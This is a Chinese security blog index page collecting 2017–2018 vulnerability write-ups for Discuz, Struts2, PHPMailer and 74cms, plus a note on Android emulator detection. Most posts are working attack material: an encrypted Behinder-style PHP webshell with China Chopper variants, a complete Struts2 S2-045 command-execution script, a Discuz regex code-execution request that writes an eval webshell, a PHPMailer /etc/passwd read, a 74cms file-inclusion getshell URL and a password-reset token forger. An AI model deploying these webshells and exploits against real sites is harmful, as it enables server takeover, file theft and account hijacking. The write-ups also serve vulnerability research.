Time Filling...

网站副标题


  • Home

  • Categories

  • Tags

  • Archives

  • About

  • Search

冰蝎二进制菜刀记录

Posted on 2018-10-15

冰蝎PHP马

1
2
3
4
<?php 
session_start();
isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&@call_user_func($b[0],$b[1]);
?>

1.首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
2.客户端将源代码,如assert|eval(“phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval(“phpinfo();”)。
3.服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval(“phpinfo();”)。
4.以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert(“eval(\”phpinfo;\”)”)

可根据冰蝎变种菜刀使用一句话
openssl加密

1
2
3
4
5
6
7
8
9
<?php 

if(@$_POST['1']){
$key = "123";
//$dd = @openssl_encrypt('assert|@eval(base64_decode($_POST[z0]));','AES-128-CBC',$key);
$b=explode('|',openssl_decrypt('|gDOrwbzj8a+HsDmUMzfEal8e9fLpIuC/Ph7aTziCkg9Ci06I7Y7Sz4HVpTAHk+gc|', "AES128", $key));
@call_user_func($b[0],$b[1]);
}
?>

修改菜刀header头为 1=1&z0=

base64加密

1
2
3
4
<?php
$arrs = explode("|", base64_decode(@$_POST['1']));
@call_user_func($arrs[0],$arrs[1]);
?>

修改菜刀header头为

1
=|YXNzZXJ0fEBldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpOw==|&z0=

后续可根据各种加密变换

README

Posted on 2018-06-07 | In README
简述

分析和收集各种CMS漏洞


  • Discuz

    • discuz小于3.4.R20170929文件删除漏洞
    • discuz小于R20140619前台任意文件删除漏洞
    • discuz小于R20150609后台代码执行漏洞
  • phpcms

  • PHPMailer
    • PHPMailer小于5.2.21任意文件读取漏洞

discuz<3.4.R20170929文件删除漏洞

Posted on 2018-06-06 | In php

漏洞版本

Discuz!X < 2.5.R20171001
Discuz!X < 3.4.R20170929

漏洞描述

漏洞存在source\include\spacecp\spacecp_profile.php中,$_FILES中包含未过滤的key值,控制space[‘key’]值可unlink任意文件。参考discuz小于R20140619前台任意文件删除漏洞

Read more »

discuz<R20140619前台任意文件删除漏洞

Posted on 2018-06-04 | In php
漏洞版本

<= 2.5.R20140603
< 3.2.R20140618

漏洞描述

漏洞存在source\include\spacecp\spacecp_profile.php中,deletefile参数key值未过滤,导致通过控制key值可unlink任意文件。参考wooyun-2014-065513。

Read more »

android

Posted on 2017-12-12 | In android

判断Android是否为模拟器
android.os.Build.BRAND:获取设备品牌
ro.product.brnad:generic
ro.product.model:sdk
C:\Users\dell>adb shell getprop
[ro.kernel.qemu]:[1]
[ro.hardware]:[goldfish]
[ro.build.tags]:[test-keys]
[ro.product.model]:[sdk]
[ro.product.brand]:[generic]
[ro.product.name]:[sdk]
[ro.product.device]:[generic]
[ro.product.board]:[]
[ro.product.manufacturer]: [unknown]
[ro.board.platform]:[]
[ro.build.product]:[generic]

Strurs2远程命令执行漏洞(S2-045)

Posted on 2017-06-07 | In JSP

漏洞说明

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Struts2框架存在多个远程代码执行(S2-005、S2-009、S2-013、S2-016、S2-019、S2-020、S2-037、devmode),恶意攻击者可利用漏洞直接获取应用系统的Webshell,甚至获取操作系统以及数据库的权限。
漏洞编号:S2-045
CVE编号:CVE-2017-5638
漏洞类型:远程代码执行
漏洞级别:高危
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10
漏洞描述:
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
漏洞利用条件和方式:
黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。
1.基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
2.恶意攻击者精心构造Content-Type的值

漏洞POC

1
python struts2.py http://gz.xx.cn/Index.action
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]='''%{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().
getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}'''
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()

poc()

漏洞修复

检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,
更行至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。
临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。

discuz小于R20150609后台代码执行漏洞

Posted on 2017-06-07 | In php

测试版本

<3.2.R20150609
<3.1.R20141225
<3.0.R20150609
<2.5.R20141225

漏洞描述

在检查用户名安全性时,含有未安全过滤的用户自定义正则表达式,通过/e执行代码。

漏洞分析

这个问题的根源在于api/uc.php文件中的updatebadwords方法,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function updatebadwords($get, $post) {
global $_G;

if(!API_UPDATEBADWORDS) {
return API_RETURN_FORBIDDEN;
}

$data = array();
if(is_array($post)) {
foreach($post as $k => $v) {
// if(substr($v['findpattern'], 0, 1) != '/' || substr($v['findpattern'], -3) != '/is') {
// $v['findpattern'] = '/' . preg_quote($v['findpattern'], '/') . '/is';
// }
$data['findpattern'][$k] = $v['findpattern'];
$data['replace'][$k] = $v['replacement'];
}
}
$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp);

return API_RETURN_SUCCEED;
}

其中$post参数是可以自定义的xml内容,读取xml内容可以赋值findpattern和replace给$_CACHE[‘badwords’],写入badwords文件。

1
2
include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php';
$post = xml_unserialize(file_get_contents('php://input'));

xml格式如下定义,见/uc_client/lib/xml.class.php

追溯$_CACHE[‘badwords’],发现pm.php和user.php调用,见uc_server\model\user.php

uc_server\control\user.php调用check_usernamecensor函数

1
2
3
4
5
6
7
8
9
10
11
function _check_username($username) {
$username = addslashes(trim(stripslashes($username)));
if(!$_ENV['user']->check_username($username)) {
return UC_USER_CHECK_USERNAME_FAILED;
} elseif(!$_ENV['user']->check_usernamecensor($username)) {
return UC_USER_USERNAME_BADWORD;
} elseif($_ENV['user']->check_usernameexists($username)) {
return UC_USER_USERNAME_EXISTS;
}
return 1;
}

uc_server\control\user.php onregister函数调用_check_username,即用户名注册处

漏洞POC

1.首先获取后台账号密码
2.在站长->UC设置处获取UC_KEY,修改本地uc.php,代码如下

1
2
3
$a = 'time='.time().'&action=updatebadwords';
$code = authcode($a, 'ENCODE', 'UC_KEY');
echo $code;exit; //0ec8dgUQLu4mW3ECCTjNWV2olxsYlQa4AR/auHtetfhsjxcp2fOL5JAkwSx1SMdpMoYcKWsuPUJEs9Qkzm9e14Le

3.请求获取加密后code值,然后用post方法向api/uc.php发送带有正则表达式的xml数据包,刚才获取的code需要进行一次url编码,否则解密会出现问题。数据包如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /dz3.0/api/uc.php?code=0ec8dgUQLu4mW3ECCTjNWV2olxsYlQa4AR/auHtetfhsjxcp2fOL5JAkwSx1SMdpMoYcKWsuPUJEs9Qkzm9e14Le HTTP/1.1
Host: 192.168.20.89
Proxy-Connection: keep-alive
Content-Length: 194
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.20.89
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2415.0 Safari/537.36
Content-Type: text/xml
Referer: http://192.168.120.89/dz3.0/admin.php?action=setting&operation=uc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="balabala">
<item id="findpattern">/.*/e</item>
<item id="replacement">phpinfo();</item>
</item>
</root>

1
//写文件:<item id="replacement">fwrite(fopen("test.php","a+"),"&lt;?php @eval(\$_POST['a']);//?>");</item>


此时uc_client\data\cache\badwords.php文件生成

4.增加用户触发漏洞

漏洞修复

官方补丁
api/uc.php

PHPMailer小于5.2.21任意文件读取漏洞

Posted on 2017-06-07 | In php

漏洞版本: <= 5.2.21
CVE: CVE-2017-5223

漏洞分析

$path变量未过滤,导致可以file_get_contents
该函数中接收了一个 $path 变量,最后该 $path 变量的值带入到了 file_get_contents 函数中执行。如果该$path变量可控即可任意文件读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
protected function encodeFile($path, $encoding = 'base64')
{
try {
if (!is_readable($path)) {
throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
}
$magic_quotes = get_magic_quotes_runtime();
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime(false);
} else {
//Doesn't exist in PHP 5.4, but we don't need to check because
//get_magic_quotes_runtime always returns false in 5.4+
//so it will never get here
ini_set('magic_quotes_runtime', false);
}
}
$file_buffer = file_get_contents($path);
$file_buffer = $this->encodeString($file_buffer, $encoding);
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime($magic_quotes);
} else {
ini_set('magic_quotes_runtime', $magic_quotes);
}
}
return $file_buffer;
} catch (Exception $exc) {
$this->setError($exc->getMessage());
return '';
}
}

回溯发现attachAll函数调用encodeFile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected function attachAll($disposition_type, $boundary)
{
// Return text of body
$mime = array();
$cidUniq = array();
$incl = array();

// Add all attachments
foreach ($this->attachment as $attachment) {
// Check if it is a valid disposition_filter
if ($attachment[6] == $disposition_type) {
// Check for string attachment
$string = '';
$path = '';
$bString = $attachment[5];
if ($bString) {
$string = $attachment[0];
} else {
$path = $attachment[0];
}

$path变量是通过$attachment[0]赋值,追踪$attachment数组发现addAttachment和addStringAttachment、addEmbeddedImage、addStringEmbeddedImage生成数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
{
if (!@is_file($path)) {
$this->setError($this->lang('file_access') . $path);
return false;
}

// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}

$filename = basename($path);
if ($name == '') {
$name = $filename;
}

// Append to $attachment array
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}

其中addEmbeddedImage该函数是处理邮件内容中的图片的,回溯该函数发现msgHTML调用,msgHTML 函数是用来发送html格式的邮件,其中$filename由$url赋值

$url由$images[2]数组赋值,$url 是通过解析$message里src=”xxxxx”而来的,$url最终被解析出来就是xxxxx

$image由$message赋值,而 $message 就是我们发送邮件的自定义的内容。这样可控点就找到了,即可成功利用该漏洞了。

回溯attachAll函数被createBody()调用,

createBody()赋值给$MIMEBody

$MIMEBody被postSend函数和preSend函数调用

用send方法即可调用该函数,即发信指令

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php  
#Author:Yxlink
require_once('PHPMailerAutoload.php');
//require_once('class.phpmailer5.2.14.php');
//require_once('class.phpmailer5.22.php');
$mail = new PHPMailer();
$mail->IsSMTP();
$mail->Host = "smtp.163.com";
$mail->Port = 25;
$mail->SMTPAuth = true;
$mail->CharSet = "UTF-8";
$mail->Encoding = "base64";
$mail->Username = "xxx@163.com";
$mail->Password = "xxxx";
$mail->Subject = "hello";
$mail->From = "xxx@163.com";
$mail->FromName = "test";
$address = "xxx@163.com";
$mail->AddAddress($address, "test");
//$mail->AddAttachment('test.txt','test.txt'); //test.txt可控即可任意文件读取
$mail->IsHTML(true);
$msg="<img src='/etc/passwd'>test";//邮件内容形如这样写。
$mail->msgHTML($msg);
if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!";
}
?>

漏洞测试

在linux中测试,使用poc利用可读取发送邮件服务器文件内容

74cms前台Getshell

Posted on 2017-06-07 | In php

测试版本: 74cms_v4.1.23

74cms前台存在文件包含漏洞,可利用漏洞Getshell
调用thinkphp框架,将$type传入display函数,display是thinkphp中模板展示函数,
74cms\Application\Home\Controller\MController.class.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function index(){
if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
redirect(build_mobile_url());
}
$type = I('get.type','android','trim');
//echo (__FILE__);

$android_download_url = C('qscms_android_download')?C('qscms_android_download'):'';

$ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):'';

$this->assign('android_download_url',$android_download_url);
$this->assign('ios_download_url',$ios_download_url);
$this->assign('type',$type);
//M/../data/upload/resume_img/1703/01/58b66934b74c8.jpg
$this->display('M/'.$type);
}
}

追踪display函数,74cms\Application\Common\Controller\FrontendController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
protected function display($tpl){

if(!$this->get('page_seo')){
$page_seo = D('Page')->get_page();

$this->_config_seo($page_seo[strtolower(MODULE_NAME).'_'.strtolower(CONTROLLER_NAME).'_'.strtolower(ACTION_NAME)],I('request.'));
}
parent::display($tpl);

if($this->visitor->is_login && !IS_AJAX && IS_GET){
$this->apply['Analyze'] && $this->record_route();
}
}

74cms\data\Runtime\common~runtime.php文件中display函数

1
2
3
4
protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='')
{
$this->view-display($templateFile,$charset,$contentType,$content,$prefix);
}

调用view类display函数,dispaly加载模板和页面输出,可以返回输出内容

1
2
3
4
5
6
7
8
9
10
11
12
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {

G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}

追踪fetch函数,解析和获取模板内容 用于输出,可以发现已经include $templateFile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}

调用render函数输出文件

1
2
3
4
5
6
7
8
9
10
private function render($content,$charset='',$contentType=''){
if(empty($charset)) $charset = C('DEFAULT_CHARSET');
if(empty($contentType)) $contentType = C('TMPL_CONTENT_TYPE');
// 网页字符编码
header('Content-Type:'.$contentType.'; charset='.$charset);
header('Cache-control: '.C('HTTP_CACHE_CONTROL')); // 页面缓存控制
header('X-Powered-By:QSCMS');
// 输出模板文件
echo $content;
}

漏洞利用

前台注册账号,会员中心,修改简历上传文件,如图片,获取包含恶意脚本的图片地址,利用文件包含执行,

访问包含文件执行php
http://127.0.0.1/74cms/index.php?m=&c=M&a=index&type=../data/upload/resume_img/1703/01/58b66934b74c8.jpg

74cms任意用户密码修改

Posted on 2017-06-07 | In php

测试版本: 74cms_v4.1.23

加密解密key=’_qscms’,固定密钥可逆。
74cms\Application\Home\Controller\MembersController.class.php文件中user_setpass函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function user_setpass(){
if(IS_POST){
$retrievePassword = session('retrievePassword');
if($retrievePassword['token'] != I('post.token','','trim')) $this->error('非法参数!');
$user['password']=I('post.password','','trim,badword');
!$user['password'] && $this->error('请输入新密码!');
if($user['password'] != I('post.password1','','trim,badword')) $this->error('两次输入密码不相同,请重新输入!');
$passport = $this->_user_server();
if(false === $uid = $passport->edit($retrievePassword['uid'],$user)) $this->error($passport->get_error());
$tpl = 'user_setpass_sucess';
session('retrievePassword',null);
}else{
parse_str(decrypt(I('get.key','','trim')),$data);
//exit(var_dump($data)); //array (size=3)
// 'e' => string 'test123@test.com' (length=16)
// 'k' => string '13b4c66feebfd64a' (length=16)
// 't' => string '9487070991' (length=10)
!fieldRegex($data['e'],'email') && $this->error('找回密码失败,邮箱格式错误!','user_getpass');
$end_time=$data['t']+24*3600;
if($end_time<time()) $this->error('找回密码失败,链接过期!','user_getpass');
$key_str=substr(md5($data['e'].$data['t']),8,16);
//exit($var_dump($key_str));
if($key_str!=$data['k']) $this->error('找回密码失败,key错误!','user_getpass');
if(!$uid = M('Members')->where(array('email'=>$data['e']))->getfield('uid')) $this->error('找回密码失败,帐号不存在!','user_getpass');
$token=substr(md5(mt_rand(100000, 999999)), 8,16);
session('retrievePassword',array('uid'=>$uid,'token'=>$token));
$this->assign('token',$token);
}
$this->_config_seo(array('title'=>'找回密码 - '.C('qscms_site_name')));
$this->display($tpl);
}

74cms\Application\Common\Common\function.php中查看解密函数decrypt()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
function encrypt($txt, $key = '_qscms') {
// 使用随机数发生器产生 0~32000 的值并 MD5()
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
// 变量初始化
$ctr = 0;
$tmp = '';
// for 循环,$i 为从 0 开始,到小于 $txt 字串长度的整数
for($i = 0; $i < strlen($txt); $i++) {
// 如果 $ctr = $encrypt_key 的长度,则 $ctr 清零
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
// $tmp 字串在末尾增加两位,其第一位内容为 $encrypt_key 的第 $ctr 位,
// 第二位内容为 $txt 的第 $i 位与 $encrypt_key 的 $ctr 位取异或。然后 $ctr = $ctr + 1
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
// 返回结果,结果为 passport_key() 函数返回值的 base64 编码结果
return base64_encode(passport_key($tmp, $key));
}

/**
* Passport 解密函数
*
* @param string 加密后的字串
* @param string 私有密匙(用于解密和加密)
*
* @return string 字串经过私有密匙解密后的结果
*/
//key=AGUGOwJ0AmxSKgZ2VmRcNAdnACNTMQRnViJQZQ50XXgCLARnBWhVM1Z7CmUFO141A2MLbwBiBTUGMARiWjUFMQBlBmQCZgJtUm8GNlY0XCAHIAA7UzwEY1ZuUDcON107AjIEPQU%2BVW8%3D
//key=AGUGOwJ0AmxSKgZ2VmRcNAdnACNTMQRnViJQZQ50XXgCLARnBWhVM1Z7CmUFO141A2MLbwBiBTUGMARiWjUFMQBlBmQCZgJtUm8GNlY0XCAHIAA7UzwEY1ZuUDcON107AjIEPQU+VW8=
function decrypt($txt, $key = '_qscms') {
// $txt 的结果为加密后的字串经过 base64 解码,然后与私有密匙一起,
// 经过 passport_key() 函数处理后的返回值
$txt = passport_key(base64_decode($txt), $key);
// 变量初始化
$tmp = '';
// for 循环,$i 为从 0 开始,到小于 $txt 字串长度的整数
for ($i = 0; $i < strlen($txt); $i++) {
// $tmp 字串在末尾增加一位,其内容为 $txt 的第 $i 位,
// 与 $txt 的第 $i + 1 位取异或。然后 $i = $i + 1
$tmp .= $txt[$i] ^ $txt[++$i];
}
// 返回 $tmp 的值作为结果
return $tmp;
}
/**
* Passport 密匙处理函数
*
* @param string 待加密或待解密的字串
* @param string 私有密匙(用于解密和加密)
*
* @return string 处理后的密匙
*/
function passport_key($txt, $encrypt_key) {
// 将 $encrypt_key 赋为 $encrypt_key 经 md5() 后的值
$encrypt_key = md5($encrypt_key);
// 变量初始化
$ctr = 0;
$tmp = '';
// for 循环,$i 为从 0 开始,到小于 $txt 字串长度的整数
for($i = 0; $i < strlen($txt); $i++) {
// 如果 $ctr = $encrypt_key 的长度,则 $ctr 清零
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
// $tmp 字串在末尾增加一位,其内容为 $txt 的第 $i 位,
// 与 $encrypt_key 的第 $ctr + 1 位取异或。然后 $ctr = $ctr + 1
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
// 返回 $tmp 的值作为结果
return $tmp;
}

加密解密密钥’_qscms’,存在任意用户密码修改漏洞。

漏洞POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
function encrypt($txt, $key = '_qscms') {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(passport_key($tmp, $key));
}
function passport_key($txt, $encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}

$email='test123@test.com';
$a = array('e'=>$email,'k'=>substr(md5($email.'9487070991'),8,16),'t'=>'9487070991');
$test = http_build_query($a);
echo urlencode(encrypt($test));
?>

获取key访问下面链接,可以直接设置email新密码
http://127.0.0.1/74cms/index.php?m=&c=members&a=user_setpass&key=$key

原文链接:http://www.0day5.com/archives/4276/

12
木蚂蚁

木蚂蚁

14 posts
6 categories
10 tags
© 2018 木蚂蚁
本站访客数:
|
Powered by Hexo
|
Theme — NexT.Mist